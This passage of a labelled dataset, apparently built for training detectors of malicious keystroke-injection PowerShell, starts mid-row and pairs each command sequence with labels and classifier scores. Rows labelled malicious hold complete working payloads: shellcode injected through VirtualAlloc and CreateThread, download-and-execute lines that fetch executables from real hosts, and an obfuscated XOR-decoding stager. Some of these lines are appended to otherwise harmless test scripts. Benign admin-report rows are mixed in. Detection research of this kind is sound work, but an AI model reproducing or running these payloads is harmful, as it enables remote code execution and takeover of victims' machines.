xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + ""\syswow64\WindowsPowerShell\v1.0\powershell"";$cmd = ""-nop -noni -enc "";iex ""& $x86 $cmd $e""}else{$cmd = ""-nop -noni -enc"";iex ""& powershell $cmd $e"";} enter enter",1,1,5.1663246e-05,0.9999484
"win+r enter powershell enter enter enter (New-Object System.Net.WebClient).DownloadFile('https://a.pomf.cat/hsmqrh.exe',""$env:TEMP\winreg.exe"");Start-Process (""$env:TEMP\winreg.exe"") enter enter",1,1,5.8363737e-05,0.9999416
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x55,0x38,0xf0,0xdb,0x68,0x02,0x00,0x09,0xca,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.21944e-05,0.9999478
"win+r powershell enter $wC=New-ObJecT System.NEt.WEbCLient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trid enter ent/7.0; rv:11.0) like Gecko';$Wc.HEaDERS.Add('User-Agent',$u);$Wc.PRoXy = [Syst enter em.NeT.WebRequEst]::DEFaUltWEbProXY;$Wc.PrOXY.CredEntiALs = [SYStEm.NeT.CreDeNti enter ALCAChe]::DEfAUlTNeTworKCreDeNtIaLs;$K='B0)U:bM enter enter",1,1,5.446458e-05,0.9999455
"win+r enter powershell enter enter enter $here = Split-Path -Parent $MyInvocation.MyCommand.Path enter . ""$here\Add-Numbers.ps1"" enter enter Describe -Tags ""Example"" ""Add-Numbers"" { enter enter It ""adds positive numbers"" { enter Add-Numbers 2 3 | Should -Be 5 enter } enter enter It ""adds negative numbers"" { enter Add-Numbers (-2) (-2) | Should -Be (-4) enter } enter enter It ""adds one negative number to positive number"" { enter Add-Numbers (-2) 2 | Should -Be 0 enter } enter enter It ""concatenates strings if given strings"" { enter Add-Numbers two three | Should -Be ""twothree"" enter } enter enter It ""should not be 0"" { enter Add-Numbers 2 3 | Should -Not -Be 0 enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,6.2519124e-05,0.99993753
"win+r enter powershell enter enter enter  enter function Get-ResourceGroupName enter { enter return getAssetName enter } enter function Get-ResourceName enter { enter return getAssetName enter } enter function Get-VirtualNetworkName enter { enter return getAssetName enter } enter function TestSetup-CreateResourceGroup enter { enter $resourceGroupName = Get-ResourceGroupName enter $rglocation = ""West US"" enter $resourceGroup = New-AzResourceGroup -Name $resourceGroupName -location $rglocation enter return $resourceGroup enter } enter function TestSetup-CreateVirtualNetwork($resourceGroup) enter { enter $virtualNetworkName = Get-VirtualNetworkName enter $location = Get-Location -ProviderNamespace ""microsoft.network"" -ResourceType ""virtualNetworks"" -PreferredLocation ""West US"" enter $virtualNetwork = New-AzVirtualNetwork -Name $virtualNetworkName -ResourceGroupName $resourceGroup.ResourceGroupName -Location $location -AddressPrefix ""10.0.0.0/8"" enter return $virtualNetwork enter } enter enter function Get-RandomZoneName enter { enter $prefix = getAssetName; enter return $prefix + "".pstest.test"" ; enter } enter enter function Get-RandomLinkName enter { enter $prefix = getAssetName; enter return $prefix + "".testlink"" ; enter } enter enter function Get-TxtOfSpecifiedLength([int] $length) enter { enter $returnValue = """"; enter for ($i = 0; $i -lt $length ; $i++) enter { enter $returnValue += ""a""; enter } enter return $returnValue; enter } enter enter function Create-VirtualNetworkLink([bool] $registrationEnabled) enter { enter $zoneName = Get-RandomZoneName enter $linkName = Get-RandomLinkName enter $resourceGroup = TestSetup-CreateResourceGroup enter enter $createdZone = New-AzPrivateDnsZone -Name $zoneName -ResourceGroupName $resourceGroup.ResourceGroupName -Tag @{tag1=""value1""} enter $createdVirtualNetwork = TestSetup-CreateVirtualNetwork $resourceGroup enter if($registrationEnabled) enter { enter $createdLink = New-AzPrivateDnsVirtualNetworkLink -ZoneName $zoneName -ResourceGroupName $resourceGroup.ResourceGroupName -Name $linkName -Tag @{tag1=""value1""} -VirtualNetworkId $createdVirtualNetwork.Id -EnableRegistration enter } enter else enter { enter $createdLink = New-AzPrivateDnsVirtualNetworkLink -ZoneName $zoneName -ResourceGroupName $resourceGroup.ResourceGroupName -Name $linkName -Tag @{tag1=""value1""} -VirtualNetworkId $createdVirtualNetwork.Id enter } enter return $createdLink enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.6732246e-05,0.99994326
0123456789? enter truefalse? enter . capslock bonk | >< | enter enter game starting in 3s enter good luck! enter enter enter left wall right wall:player position:game over. score:player moves:press caps to play again.,1,1,0.0023995237,0.9976005
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_xjhbqnln"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.txt"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_pnp_devices.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4589033e-05
"win+r powershell enter $H1 = ""5b-H-73-H-79-H-73-H-74-H-!5-H-!d-H-2e-H-!9-H-!f-H-2e-H-!4-H-!9-H-72-H-!5- enter H-!3-H-74-H-!f-H-72-H-79-H-5d-H-3a-H-3a-H-43-H-72-H-!5-H-!1-H-74-H-!5-H-44-H-!9- enter H-72-H-!5-H-!3-H-74-H-!f-H-72-H-79-H-28-H-22-H-43-H-3a-H-5c-H-50-H-72-H-!f-H-!7- enter H-72-H-!1-H-!d-H-44-H-!1-H-74-H-!1-H-5c-H-48-H-22-H-29-H-0a-H-73-H-74-H-!1-H-72- enter H-74-H-2d-H-73-H-!c-H-!5-H-!5-H-70-H-20-H-2d-H-73-H-20-H-33-H-0a-H-53-H-!5-H-74- enter H-2d-H-49-H-74-H-!5-H-!d-H-50-H-72-H-!f-H-70-H-!5-H-72-H-74-H-79-H-20-H-2d-H-50- enter H-!1-H-74-H-!8-H-20-H-22-H-48-H-4b-H-43-H-55-H-3a-H-5c-H-53-H-!f-H-!!-H-74-H-77- enter H-!1-H-72-H-!5-H-5c-H-4d-H-!9-H-!3-H-72-H-!f-H-73-H-!f-H-!!-H-74-H-5c-H-57-H-!9- enter H-!e-H-!4-H-!f-H-77-H-73-H-5c-H-43-H-75-H-72-H-72-H-!5-H-!e-H-74-H-5!-H-!5-H-72- enter H-73-H-!9-H-!f-H-!e-H-5c-H-45-H-78-H-70-H-!c-H-!f-H-72-H-!5-H-72-H-5c-H-55-H-73- enter H-!5-H-72-H-20-H-53-H-!8-H-!5-H-!c-H-!c-H-20-H-4!-H-!f-H-!c-H-!4-H-!5-H-72-H-73- enter H-22-H-20-H-2d-H-4e- enter enter",1,1,0.001087575,0.99891245
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_wkv11utc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 20 Name, Id, Path, Company | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_memory_20.csv"") -NoTypeInformation enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Export-Csv -Path (Join-Path $ReportDir ""disk_psdrive.csv"") -NoTypeInformation enter",0,0,0.9999651,3.4890672e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_8uaopy1z"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service -Name ""*print*"" -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.json"") -Encoding UTF8 enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,2) } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.json"") -Encoding UTF8 enter",0,0,0.9999658,3.423694e-05
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr enter lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kern enter el32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, u enter int dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags enter , IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset enter (IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "" enter Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xd9,0xee,0xd9, enter 0x74,0x24,0xf4,0x5f,0xbd,0x81,0x98,0xbc,0x3e,0x33,0xc9,0xb1,0x47,0x83,0xef,0xfc, enter 0x31,0x6f,0x14,0x03,0x6f,0x95,0x7a,0x49,0xc2,0x7d,0xf8,0xb2,0x3b,0x7d,0x9d,0x3b, enter 0xde,0x4c,0x9d,0x58,0xaa,0xfe,0x2d,0x2a,0xfe,0xf2,0xc6,0x7e,0xeb,0x81,0xab,0x56, enter 0x1c,0x22,0x01,0x81,0x13,0xb3,0x3a,0xf1,0x32,0x37,0x41,0x26,0x95,0x06,0x8a,0x3b, enter 0xd4,0x4f,0xf7,0xb6, enter enter",1,1,5.4065553e-05,0.9999459
"win+r powershell enter  function BackupDatabase { Param([string]$servername, [string]$dbName, [strin enter g]$backupfiledir, [Microsoft.SqlServer.Management.Smo.BackupActionType]$actionTy enter pe) $server = GetServer($servername) $backupfilepath = $backupfiledir + ""\ enter "" + $dbName + ""-"" + $actionType.ToString() + ""-"" +[DateTime]::Now.ToString('s'). enter Replace("":"",""-"") + "".bak"" $backup = new-object ('Microsoft.SqlServer.Manageme enter nt.Smo.Backup') enter enter",1,1,0.0052547767,0.99474525
"win+r enter powershell enter enter enter $reportPortalUri = if ($env:PesterPortalUrl -eq $null) { 'http://localhost/reports' } else { $env:PesterPortalUrl } enter $reportServerUri = if ($env:PesterServerUrl -eq $null) { 'http://localhost/reportserver' } else { $env:PesterServerUrl } enter enter Describe ""Get-RsRestItemDataSource"" { enter $session = $null enter $rsFolderPath = """" enter $datasourcesReport = """" enter $sqlPowerBIReport = """" enter enter BeforeEach { enter $session = New-RsRestSession -ReportPortalUri $reportPortalUri enter $folderName = 'SUT_GetRsRestItemDataSource_' + [guid]::NewGuid() enter New-RsRestFolder -WebSession $session -RsFolder / -FolderName $folderName enter $rsFolderPath = '/' + $folderName enter $localPath = (Get-Item -Path "".\"").FullName + '\Tests\CatalogItems tab estResources' enter Write-RsRestCatalogItem -WebSession $session -Path ""$localPath\datasources\datasourcesReport.rdl"" -RsFolder $rsFolderPath enter $datasourcesReport = ""$rsFolderPath/datasourcesReport"" enter enter Write-RsRestCatalogItem -WebSession $session -Path ""$localPath\SqlPowerBIReport.pbix"" -RsFolder $rsFolderPath enter $sqlPowerBIReport = ""$rsFolderPath/SqlPowerBIReport"" enter } enter enter AfterEach { enter enter Remove-RsRestFolder -WebSession $session -RsFolder $rsFolderPath -Confirm:$false enter } enter enter Context ""ReportPortalUri parameter"" { enter It ""fetches data sources for paginated reports"" { enter $datasources = Get-RsRestItemDataSource -ReportPortalUri $reportPortalUri -RsItem $datasourcesReport -Verbose enter $datasources.Count | Should Be 2 enter $datasources[0].DataSourceType | Should Be ""SQL"" enter $datasources[0].DataSourceSubType | Should BeNullOrEmpty enter $datasources[0].ConnectionString | Should Be ""Data Source=localhost;Initial Catalog=master"" enter $datasources[1].DataSourceType | Should Be ""SQL"" enter $datasources[1].DataSourceSubType | Should BeNullOrEmpty enter $datasources[1].ConnectionString | Should Be ""Data Source=localhost;Initial Catalog=model"" enter } enter enter It ""fetches data sources for power bi reports"" { enter $datasources = Get-RsRestItemDataSource -ReportPortalUri $reportPortalUri -RsItem $sqlPowerBIReport -Verbose enter $datasources.GetType() | Should BeOfType System.Object enter $datasources.DataSourceSubType | Should Be ""DataModel"" enter $datasources.ConnectionString | Should Be ""localhost;ReportServer"" enter } enter } enter enter Context ""WebSession parameter"" { enter $rsSession = $null enter enter BeforeEach { enter $rsSession = New-RsRestSession -ReportPortalUri $reportPortalUri enter } enter enter It ""fetches data sources for paginated reports"" { enter $datasources = Get-RsRestItemDataSource -WebSession $rsSession -RsItem $datasourcesReport -Verbose enter $datasources.Count | Should Be 2 enter $datasources[0].DataSourceType | Should Be ""SQL"" enter $datasources[0].DataSourceSubType | Should BeNullOrEmpty enter $datasources[0].ConnectionString | Should Be ""Data Source=localhost;Initial Catalog=master"" enter $datasources[1].DataSourceType | Should Be ""SQL"" enter $datasources[1].DataSourceSubType | Should BeNullOrEmpty enter $datasources[1].ConnectionString | Should Be ""Data Source=localhost;Initial Catalog=model"" enter } enter enter It ""fetches data sources for power bi reports"" { enter $datasources = Get-RsRestItemDataSource -WebSession $rsSession -RsItem $sqlPowerBIReport -Verbose enter $datasources.GetType() | Should BeOfType System.Object enter $datasources.DataSourceSubType | Should Be ""DataModel"" enter $datasources.ConnectionString | Should Be ""localhost;ReportServer"" enter } enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.8357673e-05,0.9999416
"win+r enter powershell enter enter enter $LastInfection = get-winevent -filterhashtable @{ logname = 'system'; ID = 1116 } -maxevents 1 -ErrorAction SilentlyContinue enter $LastFullScan = get-winevent -filterhashtable @{ logname = 'system'; ID = 1118 } -maxevents 1 -ErrorAction SilentlyContinue enter If (($LastFullScan.TimeCreated -lt $LastInfection.TimeCreated) -or ($LastInfection -eq $null)) { enter Start-Sleep -Seconds 5 enter exit 0 enter } else { enter Write-Host ""No Infection"" enter Start-Sleep -Seconds 5 enter exit 0 enter } enter enter [SySTEm.NeT.ServiCePoinTManAgeR]::EXpect100CONtiNUe = 0;$wC=NEw-OBjecT SystEM.NeT.WeBClieNT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$Wc.HEAdErS.ADD('User-Agent',$u);$WC.PROxY = [SySTem.Net.WEbReQUest]::DEFaUlTWeBProXy;$wC.PROxY.CREDEnTials = [SYSTEM.NEt.CReDentIaLCAcHE]::DEFaUltNeTworkCredeNTIalS;$K='ceb6c970658f31504a901b89dcd3e461';$i=0;[CHar[]]$B=([char[]]($wC.DoWNloAdSTRiNG(""http://172.18.209.58:8080/index.asp"")))|%{$_-bXOr$K[$I++%$k.LenGtH]};IEX ($b-jOin'') enter enter",1,1,5.4579177e-05,0.9999454
"win+r enter powershell enter enter enter function Logoff-User ($Name, $Server) { enter if (!(gcm quser -ea 0)) { enter throw 'could not find quser.exe' enter } enter enter $users = quser /server:$Server | select -Skip 1 enter enter if ($Name) { enter $user = $users | ? {$_ -match $Name} enter } else { enter $user = $users | Out-Menu enter } enter enter $id = ($user.split() | ? {$_})[2] enter enter if ($id -match 'disc') { enter $id = ($user.split() | ? {$_})[1] enter } enter enter logoff $id /server:$Server enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.8053505e-05,0.99994195
"win+r powershell enter function Assert-NotEqual enter { enter [CmdletBinding()] enter param( enter [Parameter(Position=0)] enter $Expected, enter [Parameter(Position=1)] enter $Actual, enter [Parameter(Position=2)] enter $Message enter ) enter if( $Expected -eq $Actual ) enter { enter Fail ('{0} is equal to {1}. {2}' -f $Expected,$Actual,$Message) enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0xe8,0x40,0x00,0x00,0x00,0x69,0x6b,0x61,0x77,0x6f,0x64,0x6a,0x68,0x64,0x63,0x2e,0x64,0x64,0x6e,0x73,0x2e,0x6e,0x65,0x74,0x00,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x58,0x00,0x68,0xa9,0x28,0x34,0x80,0xff,0xd5,0x8b,0x40,0x1c,0x6a,0x05,0x50,0x68,0x02,0x00,0x07,0xe4,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x75,0xee,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.1291147e-05,0.99994874
"win+r enter powershell enter enter enter $siteName = 'DefaultDocument' enter $sitePort = 4387 enter $webConfigPath = Join-Path $TestDir web.config enter enter function Start-TestFixture enter { enter & (Join-Path -Path $PSScriptRoot -ChildPath '..\Initialize-CarbonTest.ps1' -Resolve) enter enter Install-IisAppPool -Name $siteName enter } enter enter function Stop-TestFixture enter { enter Uninstall-IisAppPool -Name $siteName enter } enter enter function Start-Test enter { enter Uninstall-IisWebsite $siteName enter Install-IisWebsite -Name $siteName -Path $TestDir -Bindings ""http://*:$sitePort"" -AppPoolName $siteName enter if( Test-Path $webConfigPath -PathType Leaf ) enter { enter Remove-Item $webConfigPath enter } enter } enter enter function Stop-Test enter { enter Uninstall-IisWebsite $siteName enter } enter enter function Test-ShouldAddDefaultDocument enter { enter Add-IISDefaultDocument -Site $SiteName -FileName 'NewWebsite.html' enter Assert-DefaultDocumentReturned enter Assert-FileDoesNotExist $webConfigPath ""Settings were made in site web.config, not apphost.config."" enter } enter enter function Test-ShouldAddDefaultDocumentTwice enter { enter Add-IISDefaultDocument -Site $SiteName -FileName 'NewWebsite.html' enter Add-IISDefaultDocument -Site $SiteName -FileName 'NewWebsite.html' enter Assert-NoError enter $section = Get-IisConfigurationSection -SiteName $SiteName -SectionPath 'system.webServer/defaultDocument' enter Assert-NotNull $section enter Assert-Is ($section.GetCollection('files') | Where-Object { $_['value'] -eq 'NewWebsite.html' }) ([Microsoft.Web.Administration.ConfigurationElement]) enter Assert-DefaultDocumentReturned enter } enter enter function Assert-DefaultDocumentReturned() enter { enter $html = '' enter $maxTries = 10 enter $tryNum = 0 enter $defaultDocumentReturned = $false enter do enter { enter try enter { enter $browser = New-Object Net.WebClient enter $html = $browser.downloadString( ""http://localhost:$sitePort/"" ) enter Assert-Like $html 'NewWebsite Test Page' 'Unable to download from new website.' enter $defaultDocumentReturned = $true enter } enter catch enter { enter Start-Sleep -Milliseconds 100 enter } enter $tryNum += 1 enter } enter while( $tryNum -lt $maxTries -and -not $defaultDocumentReturned ) enter enter Assert-True $defaultDocumentReturned ""Default document never returned."" enter } enter enter",0,0,0.9997671,0.0002328977
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_o3s9owoq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $PSVersionTable | enter Export-Csv -Path (Join-Path $ReportDir ""environment_ps_version.csv"") -NoTypeInformation enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Export-Csv -Path (Join-Path $ReportDir ""device_printers.csv"") -NoTypeInformation enter",0,0,0.9999664,3.3646138e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_1ahig7p1"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_ip_config.json"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 30 Name, Id, CPU, WorkingSet64 | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_30.txt"") -Encoding UTF8 enter",0,0,0.9999652,3.477942e-05
"win+r powershell enter $1n1L = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $1n1L - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbe,0x57 enter ,0xc7,0x58,0x2c,0xda,0xd4,0xd9,0x74,0x24,0xf4,0x58,0x33,0xc9,0xb1,0x47,0x83,0xc0 enter ,0x04,0x31,0x70,0x0f,0x03,0x70,0x58,0x25,0xad,0xd0,0x8e,0x2b,0x4e,0x29,0x4e,0x4c enter ,0xc6,0xcc,0x7f,0x4c,0xbc,0x85,0x2f,0x7c,0xb6,0xc8,0xc3,0xf7,0x9a,0xf8,0x50,0x75 enter ,0x33,0x0e,0xd1,0x30,0x65,0x21,0xe2,0x69,0x55,0x20,0x60,0x70,0x8a,0x82,0x59,0xbb enter ,0xdf,0xc3,0x9e,0xa6 enter enter",1,1,5.3868804e-05,0.9999461
"win+r enter powershell enter enter enter Set-StrictMode -Version Latest enter enter $scriptRoot = Split-Path (Split-Path $MyInvocation.MyCommand.Path) enter enter Describe 'Testing Gherkin Hook' -Tag Gherkin { enter enter BeforeEach { enter & ( Get-Module Pester ) { enter $script:GherkinHooks = @{ enter BeforeEachFeature = @() enter BeforeEachScenario = @() enter AfterEachFeature = @() enter AfterEachScenario = @() enter } enter } enter } enter enter It ""Has a BeforeEachFeature function which takes a ScriptBlock and populates GherkinHooks"" { enter BeforeEachFeature { } enter enter & ( Get-Module Pester ) { enter $GherkinHooks[""BeforeEachFeature""].Count enter } | Should -Be 1 enter } enter enter It ""Has a BeforeEachScenario function which takes a ScriptBlock and populates GherkinHooks"" { enter BeforeEachScenario { } enter enter & ( Get-Module Pester ) { enter $GherkinHooks[""BeforeEachScenario""].Count enter } | Should -Be 1 enter } enter enter It ""Has a AfterEachFeature function which takes a ScriptBlock and populates GherkinHooks"" { enter AfterEachFeature { 